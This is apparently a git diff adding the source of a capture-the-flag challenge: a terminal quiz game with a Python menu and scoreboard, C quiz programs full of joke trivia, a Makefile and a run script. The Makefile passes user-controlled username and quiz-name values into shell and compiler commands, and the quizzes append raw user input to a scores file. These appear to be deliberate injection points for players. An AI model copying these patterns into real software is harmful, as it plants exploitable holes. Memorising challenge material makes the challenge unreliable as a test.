k = line.split(' ')[0] + v = int(line.strip().split(',')[-1][:-1]) + scores[k] = v + scores = sorted(scores.items(), reverse=True, key=lambda item: item[1]) + + print(gui.scoreboard_head) + for i, r in enumerate(scores): + print(f" {i+1}. {r[0]}\t{r[1]}") + print(gui.scoreboard_tail) + +def main(): + while True: + try: + choice = menu() + if choice == 1: + play() + elif choice == 2: + scoreboard() + except Exception: + exit() + +if __name__ == '__main__': + main() diff --git a/2024/inso/terminal/quizzes/Makefile b/2024/inso/terminal/quizzes/Makefile new file mode 100644 index 0000000..ecb536b --- /dev/null +++ b/2024/inso/terminal/quizzes/Makefile @@ -0,0 +1,13 @@ +CC = gcc +CFLAGS = -x c -w + +ifeq ($(findstring .,$(quizz)),) + override quizz:=$(quizz).c +endif + +run: build + @./run "$(username)" + +build: + @$(CC) $(CFLAGS) "$(quizz)" -o run + diff --git a/2024/inso/terminal/quizzes/books.c b/2024/inso/terminal/quizzes/books.c new file mode 100644 index 0000000..1ae8b67 --- /dev/null +++ b/2024/inso/terminal/quizzes/books.c @@ -0,0 +1,51 @@ +#include "quizz.h" + +/****************** + * Constants + ******************/ +const int LEN = 6; + +const char *QUESTIONS[] = { + "What's the total word count of the Lord of The Ring trilogy?\n 1) 579459 \n 2) 545799\n 3) 799545\n", + "Allegedly, what is written on the Hell's door\n 1) My name is Olaf and I love warm hugs.\n 2) Lasciate ogne speranza, voi ch'intrate.\n 3) Brace yourself, summer is coming.\n", + "Who was the most productive writer during COVID?\n 1) Brandon Sanderson\n 2) George R.R. Martin\n 3) Your doctor\n", + "Who is also known as Space Messiah?\n 1) Neil Armstrong\n 2) Yoda\n 3) Muad'Dib\n", + "Who swims across the universe with exactly four elephants on the back?\n 1) No one\n 2) A'Tuin\n 3) The earth\n", + "What are the last two words of many books and this category?\n 1) Have fun\n 2) Well done\n 3) The end\n", +}; + +const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, }; + +/****************** + * Main + ******************/ +int main(int argc, char* argv[]) { + + setvbuf(stdout, NULL, _IONBF, 0); + + FILE *file; + + file = fopen(scores_file, "a"); + fprintf(file,"%s = {", argv[1]); + + int answer; + int score = 0; + for (int i = 0; i < LEN; i++) { + printf("%s\n", QUESTIONS[i]); + printf("Your answer: "); + scanf("%d", &answer); + + if (answer == SOLUTIONS[i]) { + score++; + printf("Correct!\n\n"); + } else { + printf("False!\n\n"); + } + + fprintf(file, "%d,", answer); + } + + fprintf(file, "%d}\n", score); + + fclose(file); +} diff --git a/2024/inso/terminal/quizzes/ctf.c b/2024/inso/terminal/quizzes/ctf.c new file mode 100644 index 0000000..3cc8f31 --- /dev/null +++ b/2024/inso/terminal/quizzes/ctf.c @@ -0,0 +1,10 @@ +#include "quizz.h" + +/****************** + * Main + ******************/ +int main(int argc, char* argv[]) { + setvbuf(stdout, NULL, _IONBF, 0); + + printf("\nTODO: come up with some funny questions about CTFs.\n"); +} diff --git a/2024/inso/terminal/quizzes/miscgod.c b/2024/inso/terminal/quizzes/miscgod.c new file mode 100644 index 0000000..5e766fc --- /dev/null +++ b/2024/inso/terminal/quizzes/miscgod.c @@ -0,0 +1,57 @@ +#include "quizz.h" + +/****************** + * Constants + ******************/ +const int LEN = 12; + +const char *QUESTIONS[] = { + "Hippopotomonstrosesquipedaliophobia is the fear of what?\n 1) Hippos\n 2) Long words\n 3) Huge buildings\n", + "Of what was made the first hockey puck ever used?\n 1) Cow dung\n 2) Stone\n 3) Ice\n", + "What is the correct answer to the next question?\n 1) 2\n 2) 3\n 3) 1\n", + "What is the correct answer to this question?\n 1) 1\n 2) 2\n 3) 3\n", + "What was the correct answer to the previous question?\n 1) 3\n 2) 1\n 3) 2\n", + "How many liters of pee does an average cow produce in one day?\n 1) Ventordici\n 2) Jason's favorite number\n 3) A few drops.\n", + "What are the most organized objects\n 1) Shoes \n 2) Closets\n 3) Levers\n", + "The fear of constipation is known as?\n 1) Chlamydia\n 2) Coprastastaphobia\n 3) Chikungunya\n", + "Which country consumes the most (and produces the best) chocolate in the world?\n 1) Switzerland\n", + "What is the most stolen food in the world?\n 1) Chocolate\n 2) Bread\n 3) Cheese\n", + "Golfing is:\n 1) A sport\n 2) The beautiful art of shortening your SHELLCODE\n", + "Did you like this category?\n 1) Hell yeah!\n", +}; + +const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, }; + +/****************** + * Main + ******************/ +int main(int argc, char* argv[]) { + + setvbuf(stdout, NULL, _IONBF, 0); + + FILE *file; + + file = fopen(scores_file, "a"); + fprintf(file,"%s = {", argv[1]); + + int answer; + int score = 0; + for (int i = 0; i < LEN; i++) { + printf("%s\n", QUESTIONS[i]); + printf("Your answer: "); + scanf("%d", &answer); + + if (answer == SOLUTIONS[i]) { + score++; + printf("Correct!\n\n"); + } else { + printf("False!\n\n"); + } + + fprintf(file, "%d,", answer); + } + + fprintf(file, "%d}\n", score); + + fclose(file); +} diff --git a/2024/inso/terminal/quizzes/pts.txt b/2024/inso/terminal/quizzes/pts.txt new file mode 100644 index 0000000..e69de29 diff --git a/2024/inso/terminal/quizzes/quizz.h b/2024/inso/terminal/quizzes/quizz.h new file mode 100644 index 0000000..2551ebd --- /dev/null +++ b/2024/inso/terminal/quizzes/quizz.h @@ -0,0 +1,3 @@ +#include "stdio.h" + +const char *scores_file = "pts.txt"; diff --git a/2024/inso/terminal/run.sh b/2024/inso/terminal/run.sh new file mode 100755 index 0000000..e077ac3 --- /dev/null +++ b/2024/inso/terminal/run.sh @@ -0,0 +1,8 @@ +#!/bin/sh + +export PATH + +cp /app/tmp/* /app/quizzes +cd /app/quizzes +python3 -B ../main.py +